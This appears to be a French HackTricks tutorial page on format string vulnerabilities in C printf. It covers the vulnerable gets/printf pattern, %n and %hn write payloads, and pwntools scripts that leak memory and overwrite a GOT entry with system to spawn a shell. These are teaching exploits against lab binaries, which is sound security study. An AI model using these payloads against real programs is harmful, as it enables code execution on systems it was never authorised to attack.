.. | ||
format-strings-template.md | ||
README.md |
Chaînes de format
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
- Travaillez-vous dans une entreprise de cybersécurité? Vous voulez voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Informations de base
En C, printf
est une fonction qui peut être utilisée pour afficher une chaîne de caractères. Le premier paramètre que cette fonction attend est le texte brut avec les formateurs. Les paramètres suivants attendus sont les valeurs à substituer aux formateurs du texte brut.
La vulnérabilité apparaît lorsque le texte de l'attaquant est utilisé comme premier argument de cette fonction. L'attaquant pourra créer une entrée spéciale en abusant des capacités de chaînes de format printf pour lire et écrire n'importe quelle donnée à n'importe quelle adresse (lisible/inscriptible). En étant capable de cette manière d'exécuter du code arbitraire.
Formateurs:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Exemples:
- Exemple vulnérable:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Utilisation normale :
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Avec des arguments manquants :
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Accès aux pointeurs
Le format %<n>$x
, où n
est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Ainsi, si vous souhaitez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire :
printf("%x %x %x %x")
et vous liriez du premier au quatrième paramètre.
Ou vous pourriez faire :
printf("$4%x")
et lisez directement le quatrième.
Remarquez que l'attaquant contrôle le paramètre pr
intf
, ce qui signifie essentiellement que son entrée sera dans la pile lorsque printf
est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
{% hint style="danger" %}
Un attaquant contrôlant cette entrée sera capable d'ajouter une adresse arbitraire dans la pile et de faire en sorte que printf
y accède. La prochaine section expliquera comment utiliser ce comportement.
{% endhint %}
Lecture arbitraire
Il est possible d'utiliser le formateur $n%s
pour faire en sorte que printf
obtienne l'adresse située à la position n, la suivant et l'imprime comme s'il s'agissait d'une chaîne de caractères (imprime jusqu'à ce qu'un 0x00 soit trouvé). Ainsi, si l'adresse de base du binaire est 0x8048000
, et que nous savons que l'entrée utilisateur commence à la 4e position dans la pile, il est possible d'imprimer le début du binaire avec :
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera concaténée avec 0x00 à la fin de cette adresse. {% endhint %}
Écriture arbitraire
Le formateur $<num>%n
écrit le nombre d'octets écrits à l'adresse indiquée dans le paramètre <num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il pourra faire en sorte que $<num>%n
écrive un nombre arbitraire dans une adresse arbitraire.
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formateur %.<num-write>%<num>$n
pour écrire le nombre <num-write>
à l'adresse pointée par la position num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Cependant, notez qu'en général, pour écrire une adresse telle que 0x08049724
(qui est un ENORME nombre à écrire en une seule fois), on utilise $hn
au lieu de $n
. Cela permet de n'écrire que 2 octets. Par conséquent, cette opération est effectuée deux fois, une fois pour les 2 octets les plus élevés de l'adresse et une autre fois pour les octets les plus bas.
Ainsi, cette vulnérabilité permet d'écrire n'importe quoi à n'importe quelle adresse (écriture arbitraire).
Dans cet exemple, l'objectif va être de remplacer l'adresse d'une fonction dans la table GOT qui sera appelée plus tard. Bien que cela puisse exploiter d'autres techniques d'écriture arbitraire pour exécuter du code :
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Nous allons remplacer une fonction qui reçoit ses arguments de l'utilisateur et la rediriger vers la fonction system
.
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous écrivez d'abord 2 octets de l'adresse, puis les 2 autres. Pour ce faire, on utilise $hn
.
- HOB est appelé pour les 2 octets les plus élevés de l'adresse
- LOB est appelé pour les 2 octets les plus bas de l'adresse
Ensuite, en raison du fonctionnement de la chaîne de format, vous devez d'abord écrire le plus petit des [HOB, LOB] puis l'autre.
Si HOB < LOB
[adresse+2][adresse]%.[HOB-8]x%[décalage]\$hn%.[LOB-HOB]x%[décalage+1]
Si HOB > LOB
[adresse+2][adresse]%.[LOB-8]x%[décalage+1]\$hn%.[HOB-LOB]x%[décalage]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Modèle Pwntools
Vous pouvez trouver un modèle pour préparer une exploitation de ce type de vulnérabilité dans :
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ou cet exemple de base à partir de ici:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Autres exemples et références
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation basique des chaînes de format pour divulguer le drapeau depuis la pile (pas besoin de modifier le flux d'exécution)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse
fflush
avec la fonction win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écrire une adresse à l'intérieur de main dans
.fini_array
(pour que le flux boucle une fois de plus) et écrire l'adresse desystem
dans la table GOT pointant versstrlen
. Lorsque le flux revient à main,strlen
est exécuté avec l'entrée utilisateur et pointant verssystem
, il exécutera les commandes transmises.
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.